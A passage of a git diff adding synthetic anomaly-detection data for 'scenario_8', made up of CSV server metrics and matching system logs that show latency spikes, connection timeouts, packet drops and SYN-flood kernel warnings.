10:04:30 sshd[11168]: Accepted publickey for ubuntu from 192.168.1.101 port 58619 ssh2 +Jul 02 10:05:00 app-server[4567]: WARN: Request queue is full, rejecting new connections. +Jul 02 10:05:05 app-server[4567]: WARN: Request queue is full, rejecting new connections. +Jul 02 10:05:15 app-server[4567]: ERROR: Failed to send data to upstream service: Broken pipe +Jul 02 10:05:20 app-server[4567]: WARN: High network latency detected for outgoing requests. Average RTT: 250ms +Jul 02 10:05:25 app-server[4567]: ERROR: Connection to payment-gateway timed out after 3000ms +Jul 02 10:05:30 app-server[4567]: ERROR: Failed to send data to upstream service: Broken pipe +Jul 02 10:05:35 app-server[4567]: WARN: Request queue is full, rejecting new connections. +Jul 02 10:05:40 app-server[4567]: ERROR: Connection to payment-gateway timed out after 3000ms +Jul 02 10:05:45 kernel: net_ratelimit: 126 packets dropped +Jul 02 10:05:50 app-server[4567]: WARN: high packet drop rate detected on eth0 +Jul 02 10:05:55 app-server[4567]: WARN: Request queue is full, rejecting new connections. +Jul 02 10:06:00 app-server[4567]: WARN: Request queue is full, rejecting new connections. +Jul 02 10:06:05 kernel: net_ratelimit: 126 packets dropped +Jul 02 10:06:10 kernel: net_ratelimit: 126 packets dropped +Jul 02 10:06:15 app-server[4567]: WARN: high packet drop rate detected on eth0 +Jul 02 10:06:25 app-server[4567]: ERROR: Upstream service connection timed out; retrying... +Jul 02 10:06:30 app-server[4567]: ERROR: Upstream service connection timed out; retrying... +Jul 02 10:06:35 app-server[4567]: ERROR: Failed to send data to upstream service: Broken pipe +Jul 02 10:06:40 app-server[4567]: ERROR: Failed to send data to upstream service: Broken pipe +Jul 02 10:06:45 app-server[4567]: ERROR: Upstream service connection timed out; retrying... +Jul 02 10:06:50 app-server[4567]: WARN: Request queue is full, rejecting new connections. +Jul 02 10:06:55 app-server[4567]: WARN: Request queue is full, rejecting new connections. +Jul 02 10:07:10 app-server[4567]: ERROR: Upstream service connection timed out; retrying... +Jul 02 10:07:15 app-server[4567]: WARN: High network latency detected for outgoing requests. Average RTT: 250ms diff --git a/anom_dataset/scenario_8/anom_8_4.csv b/anom_dataset/scenario_8/anom_8_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..96da9bfb4705f4734c1b92edad3b9d2da0431b0e --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-17T16:00:00Z,15.3,40.33,21.01,0.92,1.84 +2025-07-17T16:00:05Z,15.87,38.11,18.73,1.24,1.52 +2025-07-17T16:00:10Z,19.34,42.21,23.26,1.26,1.69 +2025-07-17T16:00:15Z,14.71,41.49,28.94,1.16,1.88 +2025-07-17T16:00:20Z,16.64,37.98,24.31,1.06,1.46 +2025-07-17T16:00:25Z,11.92,36.66,25.78,1.04,2.46 +2025-07-17T16:00:30Z,14.73,39.17,25.1,1.17,1.89 +2025-07-17T16:00:35Z,16.8,41.0,21.89,0.52,2.12 +2025-07-17T16:00:40Z,15.34,40.91,26.92,1.07,2.11 +2025-07-17T16:00:45Z,11.89,41.23,22.25,0.74,1.65 +2025-07-17T16:00:50Z,15.65,43.45,25.22,0.93,2.32 +2025-07-17T16:00:55Z,15.4,40.79,24.02,1.28,1.89 +2025-07-17T16:01:00Z,17.81,38.71,26.92,1.15,2.18 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a/anom_dataset/scenario_8/anom_8_4.log b/anom_dataset/scenario_8/anom_8_4.log new file mode 100644 index 0000000000000000000000000000000000000000..662bf326e188c5aa182ef4b836c40a51ce77db98 --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_4.log @@ -0,0 +1,54 @@ +Jul 17 16:00:00 cron[4000]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 17 16:00:05 web-app[1200]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 17 16:00:10 systemd[1]: Started Session 502 of user ubuntu. +Jul 17 16:01:00 systemd[1]: Started Session 512 of user ubuntu. +Jul 17 16:01:05 web-app[1200]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 17 16:01:15 cron[4015]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 17 16:01:50 systemd[1]: Started Session 522 of user ubuntu. +Jul 17 16:02:05 web-app[1200]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 17 16:02:30 cron[4030]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 17 16:02:40 systemd[1]: Started Session 532 of user ubuntu. +Jul 17 16:03:05 web-app[1200]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 17 16:03:30 systemd[1]: Started Session 542 of user ubuntu. +Jul 17 16:03:45 cron[4045]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 17 16:04:05 web-app[1200]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 17 16:04:20 systemd[1]: Started Session 552 of user ubuntu. +Jul 17 16:04:55 web-app[1200]: ERROR Failed to send data chunk to client: socket write error +Jul 17 16:05:00 cron[4060]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 17 16:05:00 web-app[1200]: ERROR Connection to downstream service timed out after 10000ms +Jul 17 16:05:05 web-app[1200]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 17 16:05:05 web-app[1200]: WARN High latency detected: response time 3348ms for /api/v1/data +Jul 17 16:05:10 systemd[1]: Started Session 562 of user ubuntu. +Jul 17 16:05:10 haproxy[859]: Timeout during data transfer for client 10.4.2.3, session state L7OK +Jul 17 16:05:15 web-app[1200]: ERROR Failed to send data chunk to client: socket write error +Jul 17 16:05:20 web-app[1200]: ERROR Connection to downstream service timed out after 10000ms +Jul 17 16:05:25 web-app[1200]: WARN High latency detected: response time 3125ms for /api/v1/data +Jul 17 16:05:30 haproxy[859]: Timeout during data transfer for client 10.4.2.3, session state L7OK +Jul 17 16:05:35 web-app[1200]: ERROR Failed to send data chunk to client: socket write error +Jul 17 16:05:40 web-app[1200]: ERROR Connection to downstream service timed out after 10000ms +Jul 17 16:05:45 web-app[1200]: WARN High latency detected: response time 4568ms for /api/v1/data +Jul 17 16:05:50 haproxy[859]: Timeout during data transfer for client 10.4.2.3, session state L7OK +Jul 17 16:05:55 web-app[1200]: ERROR Failed to send data chunk to client: socket write error +Jul 17 16:06:00 systemd[1]: Started Session 572 of user ubuntu. +Jul 17 16:06:00 web-app[1200]: ERROR Connection to downstream service timed out after 10000ms +Jul 17 16:06:05 web-app[1200]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 17 16:06:05 web-app[1200]: WARN High latency detected: response time 4596ms for /api/v1/data +Jul 17 16:06:10 haproxy[859]: Timeout during data transfer for client 10.4.2.3, session state L7OK +Jul 17 16:06:15 cron[4075]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 17 16:06:15 web-app[1200]: ERROR Failed to send data chunk to client: socket write error +Jul 17 16:06:20 web-app[1200]: ERROR Connection to downstream service timed out after 10000ms +Jul 17 16:06:25 web-app[1200]: WARN High latency detected: response time 4343ms for /api/v1/data +Jul 17 16:06:30 haproxy[859]: Timeout during data transfer for client 10.4.2.3, session state L7OK +Jul 17 16:06:35 web-app[1200]: ERROR Failed to send data chunk to client: socket write error +Jul 17 16:06:40 web-app[1200]: ERROR Connection to downstream service timed out after 10000ms +Jul 17 16:06:45 web-app[1200]: WARN High latency detected: response time 4330ms for /api/v1/data +Jul 17 16:06:50 systemd[1]: Started Session 582 of user ubuntu. +Jul 17 16:06:50 haproxy[859]: Timeout during data transfer for client 10.4.2.3, session state L7OK +Jul 17 16:06:55 web-app[1200]: ERROR Failed to send data chunk to client: socket write error +Jul 17 16:07:00 web-app[1200]: ERROR Connection to downstream service timed out after 10000ms +Jul 17 16:07:05 web-app[1200]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 17 16:07:05 web-app[1200]: WARN High latency detected: response time 3951ms for /api/v1/data +Jul 17 16:07:10 haproxy[859]: Timeout during data transfer for client 10.4.2.3, session state L7OK +Jul 17 16:07:15 web-app[1200]: ERROR Failed to send data chunk to client: socket write error +Jul 17 16:07:20 web-app[1200]: ERROR Connection to downstream service timed out after 10000ms +Jul 17 16:07:25 web-app[1200]: WARN High latency detected: response time 2634ms for /api/v1/data diff --git a/anom_dataset/scenario_8/anom_8_5.csv b/anom_dataset/scenario_8/anom_8_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..3dc7297668a0eb326fdcf4873790c97e9b16cdd8 --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-23T16:00:00Z,23.41077432917316,41.94497515406676,27.28954211328134,0.9592314796434047,3.5849635408677165 +2025-08-23T16:00:05Z,23.555787746781267,44.71282090407946,23.96587495576143,1.434753520186459,3.0496815659141747 +2025-08-23T16:00:10Z,23.05524403467284,44.98943573541963,22.877779351226387,1.2594537973628699,2.2398215241219983 +2025-08-23T16:00:15Z,18.576523695872,40.068504709871135,25.469738742837542,1.0274143872235406,3.837866313871614 +2025-08-23T16:00:20Z,20.236345191226146,40.74876519619957,28.382475327490468,0.588067875534676,2.460512249573471 +2025-08-23T16:00:25Z,24.355089628402453,44.06465698618275,25.12945989531164,0.6578867664241406,3.3432552697189544 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+2025-08-23T16:07:10Z,91.35052209275248,42.4730581741746,27.736364261282027,0.5906165827308435,101.33489792522151 +2025-08-23T16:07:15Z,95.07198642509422,41.80106581863862,24.619712284932735,0.8181265432410756,99.25891619718551 +2025-08-23T16:07:20Z,91.74272738223735,43.81131546283314,25.564608837192928,0.8087850204719043,101.42239431288668 +2025-08-23T16:07:25Z,90.57274195157325,44.36169243710342,21.519644590493478,0.9475468920089971,100.04562309000673 diff --git a/anom_dataset/scenario_8/anom_8_5.log b/anom_dataset/scenario_8/anom_8_5.log new file mode 100644 index 0000000000000000000000000000000000000000..6c9f31d4bb0432e6cf5b29eb0e37a960791be043 --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_5.log @@ -0,0 +1,58 @@ +Aug 23 16:00:02 systemd[1]: Started Session 1 of user app_user. +Aug 23 16:00:12 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Aug 23 16:01:05 sshd[10234]: Accepted publickey for app_user from 10.0.2.5 port 55234 ssh2 +Aug 23 16:02:01 kubelet[2345]: INFO Successfully probed container metrics-collector +Aug 23 16:02:31 app_server[123]: GET /api/health HTTP/1.1 200 OK +Aug 23 16:03:02 app_server[123]: WARN High latency detected for request /api/data, response time: 2863ms +Aug 23 16:03:16 app_server[123]: WARN High latency detected for request /api/data, response time: 2815ms +Aug 23 16:03:21 app_server[123]: GET /api/health HTTP/1.1 200 OK +Aug 23 16:03:31 app_server[123]: WARN High latency detected for request /api/data, response time: 2730ms +Aug 23 16:03:48 app_server[123]: WARN High latency detected for request /api/data, response time: 4014ms +Aug 23 16:04:02 app_server[123]: WARN High latency detected for request /api/data, response time: 4041ms +Aug 23 16:04:12 app_server[123]: GET /api/health HTTP/1.1 200 OK +Aug 23 16:04:16 app_server[123]: WARN High latency detected for request /api/data, response time: 3871ms +Aug 23 16:04:32 app_server[123]: WARN High latency detected for request /api/data, response time: 4223ms +Aug 23 16:04:47 app_server[123]: WARN High latency detected for request /api/data, response time: 3077ms +Aug 23 16:05:01 app_server[123]: WARN High latency detected for request /api/data, response time: 3932ms +Aug 23 16:05:02 app_server[123]: ERROR Connection to upstream service [database-primary] timed out after 5377ms +Aug 23 16:05:02 haproxy[456]: Connect to backend s3_bucket failed: Operation timed out +Aug 23 16:05:03 app_server[123]: GET /api/health HTTP/1.1 200 OK +Aug 23 16:05:12 haproxy[456]: Connect to backend s3_bucket failed: Operation timed out +Aug 23 16:05:13 app_server[123]: ERROR Connection to upstream service [database-primary] timed out after 4028ms +Aug 23 16:05:17 app_server[123]: WARN High latency detected for request /api/data, response time: 3146ms +Aug 23 16:05:22 haproxy[456]: Connect to backend s3_bucket failed: Operation timed out +Aug 23 16:05:23 app_server[123]: ERROR Connection to upstream service [database-primary] timed out after 5803ms +Aug 23 16:05:31 haproxy[456]: Connect to backend s3_bucket failed: Operation timed out +Aug 23 16:05:32 app_server[123]: ERROR Connection to upstream service [database-primary] timed out after 5521ms +Aug 23 16:05:33 app_server[123]: WARN High latency detected for request /api/data, response time: 4051ms +Aug 23 16:05:41 app_server[123]: ERROR Connection to upstream service [database-primary] timed out after 4933ms +Aug 23 16:05:43 haproxy[456]: Connect to backend s3_bucket failed: Operation timed out +Aug 23 16:05:47 app_server[123]: WARN High latency detected for request /api/data, response time: 3085ms +Aug 23 16:05:52 app_server[123]: GET /api/health HTTP/1.1 200 OK +Aug 23 16:05:53 app_server[123]: ERROR Connection to upstream service [database-primary] timed out after 4580ms +Aug 23 16:05:53 haproxy[456]: Connect to backend s3_bucket failed: Operation timed out +Aug 23 16:06:01 haproxy[456]: Connect to backend s3_bucket failed: Operation timed out +Aug 23 16:06:03 app_server[123]: WARN High latency detected for request /api/data, response time: 2574ms +Aug 23 16:06:03 app_server[123]: ERROR Connection to upstream service [database-primary] timed out after 4118ms +Aug 23 16:06:12 app_server[123]: ERROR Connection to upstream service [database-primary] timed out after 4891ms +Aug 23 16:06:13 haproxy[456]: Connect to backend s3_bucket failed: Operation timed out +Aug 23 16:06:16 app_server[123]: WARN High latency detected for request /api/data, response time: 4625ms +Aug 23 16:06:22 app_server[123]: ERROR Connection to upstream service [database-primary] timed out after 4169ms +Aug 23 16:06:23 haproxy[456]: Connect to backend s3_bucket failed: Operation timed out +Aug 23 16:06:31 app_server[123]: WARN High latency detected for request /api/data, response time: 4086ms +Aug 23 16:06:32 app_server[123]: ERROR Connection to upstream service [database-primary] timed out after 5257ms +Aug 23 16:06:33 haproxy[456]: Connect to backend s3_bucket failed: Operation timed out +Aug 23 16:06:42 app_server[123]: GET /api/health HTTP/1.1 200 OK +Aug 23 16:06:43 app_server[123]: ERROR Connection to upstream service [database-primary] timed out after 5335ms +Aug 23 16:06:43 haproxy[456]: Connect to backend s3_bucket failed: Operation timed out +Aug 23 16:06:46 app_server[123]: WARN High latency detected for request /api/data, response time: 4508ms +Aug 23 16:06:53 app_server[123]: ERROR Connection to upstream service [database-primary] timed out after 5703ms +Aug 23 16:06:53 haproxy[456]: Connect to backend s3_bucket failed: Operation timed out +Aug 23 16:07:01 app_server[123]: WARN High latency detected for request /api/data, response time: 3245ms +Aug 23 16:07:01 app_server[123]: ERROR Connection to upstream service [database-primary] timed out after 5907ms +Aug 23 16:07:01 haproxy[456]: Connect to backend s3_bucket failed: Operation timed out +Aug 23 16:07:11 haproxy[456]: Connect to backend s3_bucket failed: Operation timed out +Aug 23 16:07:12 app_server[123]: ERROR Connection to upstream service [database-primary] timed out after 4720ms +Aug 23 16:07:16 app_server[123]: WARN High latency detected for request /api/data, response time: 4472ms +Aug 23 16:07:21 app_server[123]: ERROR Connection to upstream service [database-primary] timed out after 4553ms +Aug 23 16:07:23 haproxy[456]: Connect to backend s3_bucket failed: Operation timed out diff --git a/anom_dataset/scenario_8/anom_8_6.csv b/anom_dataset/scenario_8/anom_8_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..dc1af13a54419b6eb889507c46edb0dddbf80f47 --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,12.39692196381951,41.307413682466034,23.810535844769525,1.068013680860575,1.4044051799629016 +2025-07-02T12:00:05Z,15.609536219712375,40.05808932822068,25.199725298492595,0.9813009442286369,6.792114898214525 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b/anom_dataset/scenario_8/anom_8_6.log new file mode 100644 index 0000000000000000000000000000000000000000..b30970f57347e69274cd96df917de19bf3ed9c93 --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_6.log @@ -0,0 +1,46 @@ +Jul 02 12:00:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 12:00:00 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 12:00:25 systemd[1]: Started Session 3 of user admin. +Jul 02 12:00:50 CRON[5521]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 12:01:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 12:01:15 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 12:02:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 12:02:05 sshd[5580]: Accepted publickey for admin from 10.0.2.2 port 48722 ssh2: RSA SHA256:... +Jul 02 12:02:30 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 12:03:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 12:03:20 systemd[1]: Starting Clean php session files... +Jul 02 12:03:45 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 12:04:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 12:04:10 systemd[1]: Finished Clean php session files. +Jul 02 12:04:40 api-gateway[3456]: WARN High latency detected on upstream service 'user-service'. Response time: 2048ms +Jul 02 12:04:50 api-gateway[3456]: WARN High latency detected on upstream service 'user-service'. Response time: 1551ms +Jul 02 12:05:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 12:05:00 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 12:05:00 api-gateway[3456]: WARN High latency detected on upstream service 'user-service'. Response time: 1888ms +Jul 02 12:05:10 api-gateway[3456]: WARN High latency detected on upstream service 'user-service'. Response time: 2091ms +Jul 02 12:05:20 api-gateway[3456]: WARN High latency detected on upstream service 'user-service'. Response time: 2030ms +Jul 02 12:05:30 api-gateway[3456]: WARN High latency detected on upstream service 'user-service'. Response time: 2066ms +Jul 02 12:05:40 api-gateway[3456]: WARN High latency detected on upstream service 'user-service'. Response time: 2135ms +Jul 02 12:05:50 api-gateway[3456]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination, transport failure reason: socket error: 110 +Jul 02 12:05:50 app[4567]: ERROR Failed to connect to inventory-service: timeout after 4686ms +Jul 02 12:06:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 12:06:00 api-gateway[3456]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination, transport failure reason: socket error: 110 +Jul 02 12:06:00 app[4567]: ERROR Failed to connect to payment-service: timeout after 4826ms +Jul 02 12:06:10 api-gateway[3456]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination, transport failure reason: socket error: 110 +Jul 02 12:06:10 app[4567]: ERROR Failed to connect to payment-service: timeout after 4921ms +Jul 02 12:06:15 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 12:06:20 api-gateway[3456]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination, transport failure reason: socket error: 110 +Jul 02 12:06:20 app[4567]: ERROR Failed to connect to shipping-service: timeout after 4753ms +Jul 02 12:06:30 api-gateway[3456]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination, transport failure reason: socket error: 110 +Jul 02 12:06:30 app[4567]: ERROR Failed to connect to inventory-service: timeout after 4513ms +Jul 02 12:06:40 api-gateway[3456]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination, transport failure reason: socket error: 110 +Jul 02 12:06:40 app[4567]: ERROR Failed to connect to inventory-service: timeout after 4603ms +Jul 02 12:06:50 api-gateway[3456]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination, transport failure reason: socket error: 110 +Jul 02 12:06:50 app[4567]: ERROR Failed to connect to inventory-service: timeout after 4643ms +Jul 02 12:07:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 12:07:00 api-gateway[3456]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination, transport failure reason: socket error: 110 +Jul 02 12:07:00 app[4567]: ERROR Failed to connect to shipping-service: timeout after 4794ms +Jul 02 12:07:10 api-gateway[3456]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination, transport failure reason: socket error: 110 +Jul 02 12:07:10 app[4567]: ERROR Failed to connect to payment-service: timeout after 4683ms +Jul 02 12:07:20 api-gateway[3456]: ERROR upstream connect error or disconnect/reset before headers. reset reason: connection termination, transport failure reason: socket error: 110 +Jul 02 12:07:20 app[4567]: ERROR Failed to connect to shipping-service: timeout after 4902ms diff --git a/anom_dataset/scenario_8/anom_8_7.csv b/anom_dataset/scenario_8/anom_8_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..91d14709dd345d82f80897bb67db1af63e004264 --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,11.404405179962902,37.39692196381951,26.961120523699055,0.5340068404302875,1.4207023896513018 +2025-07-02T11:00:05Z,14.842962355841644,40.609536219712375,25.087133992331022,0.49065047211431845,1.5133150198995065 +2025-07-02T11:00:10Z,15.377400222713263,40.66842303627313,28.635020369744318,0.38195259569364126,1.5115965320404043 +2025-07-02T11:00:15Z,15.768030525320594,38.791616832129264,20.33264408622293,0.6073314425641234,1.5332485622051317 +2025-07-02T11:00:20Z,18.927844441565814,39.90049492404296,26.197420796777447,0.6039718874422997,1.63530727658391 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+2025-07-02T11:07:05Z,71.31019508620781,44.11504429340486,25.121114794539892,0.3679322825813076,99.45879016718462 +2025-07-02T11:07:10Z,65.03352704930761,38.73405714135933,25.726912850542394,0.4502481565559662,100.53695717860563 +2025-07-02T11:07:15Z,75.78553061884308,38.25627457299169,28.51841782402873,0.6627277296277565,100.24182968362976 +2025-07-02T11:07:20Z,80.76248284746805,38.297351707555116,24.922515330311935,0.5640462616730011,100.2282012693298 +2025-07-02T11:07:25Z,84.80920918653885,39.99007470444962,24.35226006836919,0.2701126614529745,100.1557394620411 diff --git a/anom_dataset/scenario_8/anom_8_7.log b/anom_dataset/scenario_8/anom_8_7.log new file mode 100644 index 0000000000000000000000000000000000000000..e9223a79f093b890d50602d767f64da957d6b551 --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_7.log @@ -0,0 +1,35 @@ +Jul 02 11:00:00 background-worker[1155]: INFO Task completed successfully +Jul 02 11:00:00 web-server[1122]: INFO GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:00:25 web-server[1122]: INFO GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:00:50 background-worker[1155]: INFO Task completed successfully +Jul 02 11:00:50 web-server[1122]: INFO GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:01:15 web-server[1122]: INFO GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:01:40 background-worker[1155]: INFO Task completed successfully +Jul 02 11:01:40 web-server[1122]: INFO GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:02:05 web-server[1122]: INFO GET /api/v1/health HTTP/1.1 200 OK +Jul 02 11:02:55 web-server[1122]: WARN upstream request to payment-service is taking longer than 500ms +Jul 02 11:03:00 web-server[1122]: INFO GET /api/v1/data HTTP/1.1 200 OK +Jul 02 11:03:30 web-server[1122]: WARN upstream request to payment-service is taking longer than 500ms +Jul 02 11:04:00 web-server[1122]: INFO GET /api/v1/data HTTP/1.1 200 OK +Jul 02 11:04:05 web-server[1122]: WARN upstream request to payment-service is taking longer than 500ms +Jul 02 11:04:40 web-server[1122]: WARN upstream request to payment-service is taking longer than 500ms +Jul 02 11:05:00 kernel: TCP: out of memory -- consider tuning tcp_mem +Jul 02 11:05:00 web-server[1122]: ERROR Failed to process request: downstream service read timed out +Jul 02 11:05:15 web-server[1122]: ERROR Failed to process request: downstream service read timed out +Jul 02 11:05:20 web-server[1122]: ERROR Connection to database lost, attempting to reconnect... +Jul 02 11:05:25 kernel: TCP: out of memory -- consider tuning tcp_mem +Jul 02 11:05:30 web-server[1122]: ERROR Failed to process request: downstream service read timed out +Jul 02 11:05:45 web-server[1122]: ERROR Failed to process request: downstream service read timed out +Jul 02 11:05:50 kernel: TCP: out of memory -- consider tuning tcp_mem +Jul 02 11:06:00 web-server[1122]: ERROR Connection to database lost, attempting to reconnect... +Jul 02 11:06:00 web-server[1122]: ERROR Failed to process request: downstream service read timed out +Jul 02 11:06:15 kernel: TCP: out of memory -- consider tuning tcp_mem +Jul 02 11:06:15 web-server[1122]: ERROR Failed to process request: downstream service read timed out +Jul 02 11:06:30 web-server[1122]: ERROR Failed to process request: downstream service read timed out +Jul 02 11:06:40 kernel: TCP: out of memory -- consider tuning tcp_mem +Jul 02 11:06:40 web-server[1122]: ERROR Connection to database lost, attempting to reconnect... +Jul 02 11:06:45 web-server[1122]: ERROR Failed to process request: downstream service read timed out +Jul 02 11:07:00 web-server[1122]: ERROR Failed to process request: downstream service read timed out +Jul 02 11:07:05 kernel: TCP: out of memory -- consider tuning tcp_mem +Jul 02 11:07:15 web-server[1122]: ERROR Failed to process request: downstream service read timed out +Jul 02 11:07:20 web-server[1122]: ERROR Connection to database lost, attempting to reconnect... diff --git a/anom_dataset/scenario_8/anom_8_8.csv b/anom_dataset/scenario_8/anom_8_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..d6fe7db0bf971ceb4b56c7987f38d7bebee29587 --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,18.27,43.4,29.42,1.02,30.48 +2025-07-02T10:00:05Z,15.15,44.98,23.29,1.13,70.67 +2025-07-02T10:00:10Z,21.06,45.36,29.35,0.88,87.22 +2025-07-02T10:00:15Z,7.22,43.68,26.49,0.88,89.24 +2025-07-02T10:00:20Z,17.0,46.5,34.66,0.92,113.66 +2025-07-02T10:00:25Z,18.45,48.47,24.59,1.1,139.56 +2025-07-02T10:00:30Z,10.72,42.95,30.55,0.87,163.94 +2025-07-02T10:00:35Z,9.02,49.87,32.19,1.16,163.9 +2025-07-02T10:00:40Z,19.81,45.29,25.37,0.78,197.76 +2025-07-02T10:00:45Z,10.1,44.6,25.67,0.81,185.19 +2025-07-02T10:00:50Z,12.67,44.24,25.52,0.95,186.8 +2025-07-02T10:00:55Z,13.58,45.96,31.29,0.82,223.57 +2025-07-02T10:01:00Z,14.46,45.39,34.97,1.16,270.4 +2025-07-02T10:01:05Z,8.9,44.66,34.09,0.99,279.68 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a/anom_dataset/scenario_8/anom_8_8.log b/anom_dataset/scenario_8/anom_8_8.log new file mode 100644 index 0000000000000000000000000000000000000000..84548d640fad97ece0282358b441a0eb9ec00474 --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_8.log @@ -0,0 +1,67 @@ +Jul 02 10:00:00 systemd[1]: Started Session 9 of user webadmin. +Jul 02 10:00:05 nginx[5432]: GET /api/v1/health HTTP/1.1 200 +Jul 02 10:00:10 nginx[5432]: GET /api/v1/health HTTP/1.1 200 +Jul 02 10:00:15 systemd[1]: Started Session 9 of user webadmin. +Jul 02 10:00:20 database[456]: INFO: Query executed successfully. duration=25ms +Jul 02 10:00:25 webapp[1123]: INFO: User 165 fetched profile data +Jul 02 10:00:45 kernel: [ 1229.079162 ] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 02 10:00:50 kernel: [ 1229.815279 ] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 02 10:00:55 webapp[1123]: INFO: User 186 fetched profile data +Jul 02 10:01:00 database[456]: INFO: Query executed successfully. duration=25ms +Jul 02 10:01:15 kernel: [ 1242.649091 ] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 02 10:01:20 webapp[1123]: INFO: User 188 fetched profile data +Jul 02 10:01:25 nginx[5432]: GET /api/v1/health HTTP/1.1 200 +Jul 02 10:01:40 database[456]: INFO: Query executed successfully. duration=25ms +Jul 02 10:01:45 database[456]: INFO: Query executed successfully. duration=25ms +Jul 02 10:01:55 systemd[1]: Started Session 12 of user webadmin. +Jul 02 10:02:00 nginx[5432]: GET /api/v1/health HTTP/1.1 200 +Jul 02 10:02:05 database[456]: INFO: Query executed successfully. duration=25ms +Jul 02 10:02:25 database[456]: INFO: Query executed successfully. duration=25ms +Jul 02 10:02:30 kernel: [ 1283.086866 ] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 02 10:02:50 nginx[5432]: GET /api/v1/health HTTP/1.1 200 +Jul 02 10:02:55 nginx[5432]: GET /api/v1/health HTTP/1.1 200 +Jul 02 10:03:10 database[456]: INFO: Query executed successfully. duration=25ms +Jul 02 10:03:20 kernel: [ 1304.495510 ] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 02 10:03:25 systemd[1]: Started Session 5 of user webadmin. +Jul 02 10:03:30 webapp[1123]: INFO: User 120 fetched profile data +Jul 02 10:03:35 systemd[1]: Started Session 12 of user webadmin. +Jul 02 10:03:45 systemd[1]: Started Session 12 of user webadmin. +Jul 02 10:03:50 kernel: [ 1318.164990 ] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 02 10:04:00 nginx[5432]: GET /api/v1/health HTTP/1.1 200 +Jul 02 10:04:10 database[456]: INFO: Query executed successfully. duration=25ms +Jul 02 10:04:15 database[456]: INFO: Query executed successfully. duration=25ms +Jul 02 10:04:20 systemd[1]: Started Session 12 of user webadmin. +Jul 02 10:04:35 database[456]: INFO: Query executed successfully. duration=25ms +Jul 02 10:04:40 webapp[1123]: INFO: User 177 fetched profile data +Jul 02 10:04:45 webapp[1123]: INFO: User 117 fetched profile data +Jul 02 10:04:50 kernel: [ 1354.362741 ] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 02 10:04:55 systemd[1]: Started Session 5 of user webadmin. +Jul 02 10:05:00 